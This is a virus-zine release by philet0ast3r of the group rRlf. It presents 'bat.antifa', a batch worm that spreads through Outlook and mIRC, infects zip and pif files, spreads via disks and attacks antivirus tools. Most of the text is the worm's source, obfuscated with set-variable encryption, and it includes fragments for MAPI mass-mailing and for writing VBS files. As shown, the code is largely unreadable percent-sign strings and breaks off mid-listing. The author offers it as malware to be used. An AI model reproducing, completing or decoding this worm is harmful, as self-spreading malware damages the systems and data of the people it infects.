     +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+
    /  bat.antifa by philet0ast3r [rRlf]  /
   +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+

                  010101
                 10010001  00     001101001
                 00    01  11    01110011010
                 01    11  00    00       11
                 10   010  10    11       00
       100100110101100010  00    00       10
    0100011100100101011    01    01      01
  01010          01        101100110001010
 0101          01100010    11001001010001
  1001       01011000110         10
    010      100 10   0110       01
     110   011   01     0001     11
      011 010    01       0100   00
       0110      10         1010 10
        10       00           01101
        00       11              01

             www.rRlf.de


I was bored somewhen last year (last year = 2002), when I started this.
Hehe, this is the first batch virus, that is executed from behind :]
Stupid, yes, but who cares?
It's an Outlook and mIRC worm. For mIRC spreading, Lord Yup's silend dcc send
is used (thanks again for that). The virus is encrypted using a (ok, not very
strong) set encryption. It infects zip-files, makes good use of for-windows
-unaccessable-directories, spreads via disks, and fights back to some avs.
It also infects pifs and has some message payloads. That's it I guess, the rest
can be seen from the (commented) code.

philet0ast3r would like to greet/thank some important persons:
3ri5, tanja, ina, janine, phily, rastafarie, LiSt, mindjuice, jackie, gl_st0rm,
Toro, breathe, alcopaul, NeKr0, Slage Hammer, Necronomikon, BeLiAL, malfunction,
Lord Yup, Industry, and all rRlf members.

Here is the code of the virus, as it comes:

=====[begin code]===============================================================
@echo off
ctty nul

:: bat.antifa
:: by philet0ast3r [rRlf]
:: the first batch-worm, that is executed from behind :]
:: (well, I was bored) ... finished: 27.2.2003, 16:04:39

goto ani
:wwwwwww
:%%%%%%%%%%%%%?%
%%%%%]%%% %-%%%%?%
:vvvvvvv
%%%?% %%\%?%%-%%:%%%%]%%%%%\%%%%%%%%%:%_%%%%%%%:%!
%%%%%]%%% %%%%%%%%%%%%%%
:uuuuuuu
:%-%%%%%%%
%%%%%]%%% %%%%%%%%%%%%%%
:ttttttt
%?%%-%%% %%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:sssssss
%%%%%% %%%% %%%% (%%\%?%%-%%:%%%%]%%%%%\*.%%%%%%) %?%%% %.%%%%%%% %.%:\%%%%%%.%%%%%% %%%%
%%%%%]%%% %]%%]%%]%%]%%]%%]%%]%
:rrrrrrr
%.%%%%%%%%%%%%?% /%% /%.% %.%%%%%%% %.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]% %%:\
%%%%%]%%% %:%%:%%:%%:%%:%%:%%:%
:qqqqqqq
%:%%]%%%%%%]% %%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:ppppppp
%-%%.%%%%% %%%:%%.%.S%%%%%-%>>%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:ooooooo
%-%%.%%%%% %%%:%%.%.W%%%%%?%%%%%S%]%%%%%%-% = %%>>%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:nnnnnnn
%-%%.%%%%% %%%:%%.%.T%%%%%%%-%%]%P%%%]%%% = %%%:%%%%:%.E%%%%%%%%%?%E%%%%%%%%%%%%%%%-%%%%]%S%]%%%%%%%%%%:%("%.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]%")>>%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:mmmmmmm
%-%%.%%%%% %:%%-%%]% %%%:%%.%=%%%:%%%%:%.C%%%-%%%%]%%-%S%%%%%%%]%%.%%%%]%("C:\%%%%%%.%%%%%%")>>%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:lllllll
%-%%.%%%%% %:%%-%%]% %%%:%%%%:%=W%:%%.%%%%%%%%]%.C%%%-%%%%]%%-%O%%%%%-%%.%%]%("WS%.%%%%%%%%]%.S%%%-%%%%%")>>%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:kkkkkkk
%-%%.%%%%% %?%%%%% %%%:%%%%:%, %%%:%%.%>>%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:jjjjjjj
%-%%.%%%%%.%%%% %-%%%%%%%%% %%%-%%:%%%%%%-% %%%-%%%%]%>%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:iiiiiii
%:%%]%%%%%%]% %%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:hhhhhhh
%-%%.%%%%% %%%-%%%%]%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:ggggggg
%-%%.%%%%% %% = "">>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:fffffff
%-%%.%%%%% %-%.S%-%%%%?%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:eeeeeee
%-%%.%%%%% %-%.D%-%%%%-%%]%%-%A%%%]%%-%%%S%%%%%%%%%]% = F%%%%%:%%-%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:ddddddd
%-%%.%%%%% %-%.A%]%%]%%%%.%%%%%%-%%%%]%%:%.A%?%%?% ("%.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]%")>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %-%%-%%-%%-%%-%%-%%-%
:ccccccc
%-%%.%%%%% %-%.B%%%?%%% = "D%-%%%%]%%:%%.%%%%%%%%%%?% %%%%%% %?%%-%%% K%%%%%]%%-% %:%%]%%%%-%%%%.%%%%-%%%," & %.%%%%%(%%%%) & "P%%%%%-%%% %%%%%:%%:% %%%%%:% F%%%%%%%%%%%-%%%%.%%% %%%-%%%%.%%%%-%%%!">>%%\%%%%%%.%%%%%:%
%%%%%]%%% %?%%?%%?%%?%%?%%?%%?%
:bbbbbbb
%-%%.%%%%% %-%.S%%%%%%%-%%.%%]% = "%]%%%%%%:% %%%:% %%%%%-%%%%-% %%%]% %%%-%%]%%:% NASTY">>%%\%%%%%%.%%%%%:%
%%%%%]%%% %.%%.%%.%%.%%.%%.%%.%
:aaaaaaa
%-%%.%%%%% %%%-%%%%]%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:zzzzzz
%-%%.%%%%% %% = %% + %%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%%%
:yyyyyy
%-%%.%%%%% %-%.R%-%%.%%%%%%%%-%%%%]%%:%.A%?%%?% %%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:xxxxxx
%-%%.%%%%% %% = %?%.A%?%%?%%%%-%%:%%:%E%%%]%%%%%%-%%:%(%%)>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:wwwwww
%-%%.%%%%% %%%%%% %% = %% T%% %?%.A%?%%?%%%%-%%:%%:%E%%%]%%%%%%-%%:%.C%%%%%%%]%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:vvvvvv
%-%%.%%%%% %:%%-%%]% %-% = %%.C%%%-%%%%]%%-%I%]%%-%%%(%%)>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:uuuuuu
%-%%.%%%%% %% = %%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:tttttt
%-%%.%%%%% %:%%-%%]% %?% = %.%.A%?%%?%%%%-%%:%%:%L%%%:%%]%%:%(%%)>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:ssssss
%-%%.%%%%% %%%%%% %% = %% T%% %.%.A%?%%?%%%%-%%:%%:%L%%%:%%]%%:%.C%%%%%%%]%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %]%%]%%]%%]%%]%%]%
:rrrrrr
%-%%.%%%%% %:%%-%%]% %.% = %%.G%-%%]%N%%%%%-%S%%%%%.%%-%("MAPI")>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %:%%:%%:%%:%%:%%:%
:qqqqqq
%-%%.%%%%% %:%%-%%]% %% = C%%%-%%%%]%%-%O%%%%%-%%.%%]%("O%%%]%%%%%%%%%.A%%%%%%%%%.%%%%]%%%%%%%")>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:pppppp
%-%%.%%%%% %:%%-%%]% %% = W%:%%.%%%%%%%%]%.C%%%-%%%%]%%-%O%%%%%-%%.%%]%("W%:%%.%%%%%%%%]%.S%%%-%%%%%")>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:oooooo
%-%%.%%%%% %?%%%%% %%,%%,%.%,%?%,%-%>>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:nnnnnn
%-%%.%%%%%.%%%% %-%%%%%%%%% %%%-%%:%%%%%%-% %%%-%%%%]%>%%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:mmmmmm
%?%%-%%% %%\%%%%%%.%%%%%:%
%%%%%]%%% %%%%%%%%%%%%
:llllll
%%%%%% %%%% %%%% (*.%%%%%% ..\*.%%%%%% %%\%?%%-%%:%%%%]%%%%%\*.%%%%%%) %?%%% %%%%%%%-%%%%%%%%.% -%% -%.%%% %%%% %.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]%
%%%%%]%%% %%%%%%%%%%%%
:kkkkkk
%%%%%% %%%% %%%% (*.%%%%%% ..\*.%%%%%% %%\%?%%-%%:%%%%]%%%%%\*.%%%%%%) %?%%% %%%%%%%%%% -%-%%% -%% -%% -%% %%%% "%.%:\%%%%%]%.%%%%%]%%%%%%%.%%%%%]%">%%%%%%.%%%%%%
%%%%%]%%% %%%%%%%%%%%%
:jjjjjj
%?%%-%%% %%%%%%%?%
%%%%%]%%% %%%%%%%%%%%%
:iiiiii
%%%%%%%-% %%%%%%%?% %.%:\%%%%%%%%%%%%~%%\%%%%%%%.%%%%%\%:%%.%%%%%%%%]%.%%%%%%
%%%%%]%%% %%%%%%%%%%%%
:hhhhhh
%%%%%%%-% %%%%%%%?% %.%:\%%%%%%%%%%%%~%%\%%%%%%%.%\%:%%.%%%%%%%%]%.%%%%%%
%%%%%]%%% %%%%%%%%%%%%
:gggggg
%%%%%%%-% %%%%%%%?% %.%:\%%%%%%%.%%%%%\%:%%.%%%%%%%%]%.%%%%%%
%%%%%]%%% %%%%%%%%%%%%
:ffffff
%%%%%%%-% %%%%%%%?% %.%:\%%%%%%%.%\%:%%.%%%%%%%%]%.%%%%%%
%%%%%]%%% %%%%%%%%%%%%
:eeeeee
%?%%-%%% %.%:\%%%%%%%%%%%%%?%.%%%-%%%
%%%%%]%%% %%%%%%%%%%%%
:dddddd
%?%%-%%% %%%%%%
%%%%%]%%% %-%%-%%-%%-%%-%%-%
:cccccc
%?%%-%%%%%%%<%%%%%%
%%%%%]%%% %?%%?%%?%%?%%?%%?%
:bbbbbb
:: %.%%%%]% :)
%%%%%]%%% %.%%.%%.%%.%%.%%.%
:aaaaaa
%-%%.%%%%% %%>>%%%%%%
%%%%%]%%% %%%%%%%%%%%%
:zzzzz
%-%%.%%%%% %%>>%%%%%%
%%%%%]%%% %%%%%%%%%%%%
:yyyyy
%-%%.%%%%% %% %%%%%%%?%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:xxxxx
%-%%.%%%%% %%%%%%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:wwwww
%-%%.%%%%% %%%.%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:vvvvv
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%?% %%%% %%%% %%%?% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:uuuuu
%-%%.%%%%% %-% %%%%%-%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:ttttt
%-%%.%%%%% %-% %%%%%?%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:sssss
%-%%.%%%%% %-% %%%%%.%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%?% %%%% %%%?% %%%% %%%?% %%%?%>>%%%%%%
%%%%%]%%% %]%%]%%]%%]%%]%
:rrrrr
%-%%.%%%%% %-% %%%%%%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%?% %%%% %%%% %%%.% %%%% %%%%>>%%%%%%
%%%%%]%%% %:%%:%%:%%:%%:%
:qqqqq
%-%%.%%%%% %-% %%%%%%%% %%%-% %%%% %%%% %%%-% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:ppppp
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%.% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:ooooo
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:nnnnn
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:mmmmm
%-%%.%%%%% %-% %%%%%%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:lllll
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:kkkkk
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%-% %%%% %%%.% %%%% %%%% %%%% %%%% %%%?% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:jjjjj
%-%%.%%%%% %-% %%%%%%%% %%%% %%%?% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%.% %%%% %%%?%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:iiiii
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%-% %%%% %%%% %%%-%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:hhhhh
%-%%.%%%%% %-% %%%%%%%% %%%% %%%-% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:ggggg
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:fffff
%-%%.%%%%% %-% %%%%%%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:eeeee
%-%%.%%%%% %-% %%%%%-%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%-% %%%?% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:ddddd
%-%%.%%%%% %-% %%%%%?%%% %%%% %%%.% %%%% %%%% %%%-% %%%% %%%% %%%-% %%%% %%%?% %%%% %%%% %%%% %%%% %%%?% %%%%>>%%%%%%
%%%%%]%%% %-%%-%%-%%-%%-%
:ccccc
%-%%.%%%%% %-% %%%%%.%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %?%%?%%?%%?%%?%
:bbbbb
%-%%.%%%%% %-% %%%%%%%% %%%-% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%?% %%%?% %%%% %%%?% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %.%%.%%.%%.%%.%
:aaaaa
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:zzzz
%-%%.%%%%% %-% %%%%%%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%?% %%%% %%%% %%%.% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%%%
:yyyy
%-%%.%%%%% %-% %%%%%%%% %%%% %%%-% %%%% %%%% %%%-% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.%>>%%%%%%
%%%%%]%%% %%%%%%%%
:xxxx
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%.% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:wwww
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%?% %%%% %%%% %%%% %%%% %%%-% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:vvvv
%-%%.%%%%% %-% %%%%%%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%.%>>%%%%%%
%%%%%]%%% %%%%%%%%
:uuuu
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%?% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:tttt
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%?% %%%% %%%?% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:ssss
%-%%.%%%%% %-% %%%%%%%% %%%% %%%?% %%%% %%%?% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%.% %%%%>>%%%%%%
%%%%%]%%% %]%%]%%]%%]%
:rrrr
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%-% %%%% %%%% %%%-%>>%%%%%%
%%%%%]%%% %:%%:%%:%%:%
:qqqq
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:pppp
%-%%.%%%%% %-% %%%%%%%% %%%% %%%-% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%.% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:oooo
%-%%.%%%%% %-% %%%%%-%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%-% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:nnnn
%-%%.%%%%% %-% %%%%%?%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%?% %%%% %%%% %%%% %%%% %%%?%>>%%%%%%
%%%%%]%%% %%%%%%%%
:mmmm
%-%%.%%%%% %-% %%%%%.%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:llll
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%?% %%%?% %%%% %%%% %%%% %%%% %%%?% %%%?% %%%% %%%?% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:kkkk
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:jjjj
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%.% %%%% %%%% %%%% %%%?% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:iiii
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:hhhh
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%?% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:gggg
%-%%.%%%%% %-% %%%%%%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:ffff
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:eeee
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%-% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:dddd
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%%>>%%%%%%
%%%%%]%%% %-%%-%%-%%-%
:cccc
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%.%>>%%%%%%
%%%%%]%%% %?%%?%%?%%?%
:bbbb
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%.% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %.%%.%%.%%.%
:aaaa
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%.% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:zzz
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%?% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%%%
:yyy
%-%%.%%%%% %-% %%%%%-%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:xxx
%-%%.%%%%% %-% %%%%%?%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-%>>%%%%%%
%%%%%]%%% %%%%%%
:www
%-%%.%%%%% %-% %%%%%.%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:vvv
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:uuu
%-%%.%%%%% %-% %%%%%%%% %%%-% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:ttt
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:sss
%-%%.%%%%% %-% %%%%%%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %]%%]%%]%
:rrr
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%?%>>%%%%%%
%%%%%]%%% %:%%:%%:%
:qqq
%-%%.%%%%% %-% %%%%%%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:ppp
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%?% %%%?% %%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:ooo
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:nnn
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%.% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:mmm
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%.% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:lll
%-%%.%%%%% %-% %%%%%%%% %%%?% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:kkk
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:jjj
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%?% %%%?% %%%% %%%% %%%% %%%% %%%% %%%?% %%%?% %%%% %%%?% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:iii
%-%%.%%%%% %-% %%%%%-%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:hhh
%-%%.%%%%% %-% %%%%%?%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:ggg
%-%%.%%%%% %-% %%%%%.%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:fff
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%.%>>%%%%%%
%%%%%]%%% %%%%%%
:eee
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:ddd
%-%%.%%%%% %-% %%%%%%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%.%>>%%%%%%
%%%%%]%%% %-%%-%%-%
:ccc
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%%>>%%%%%%
%%%%%]%%% %?%%?%%?%
:bbb
%-%%.%%%%% %-% %%%%%%%% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%% %%%.%>>%%%%%%
%%%%%]%%% %.%%.%%.%
:aaa
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%.% %%%% %%%% %%%% %%%?% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:zz
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%-% %%%% %%%% %%%% %%%% %%%% %%%?% %%%% %%%% %%%?% %%%% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%%%
:yy
%-%%.%%%%% %-% %%%%%%%% %%%% %%%% %%%% %%%?% %%%% %%%?% %%%% %%%% %%%% %%%% %%%% %%%% %%%-% %%%% %%%% %%%%>>%%%%%%
%%%%%]%%% %%%%
:xx
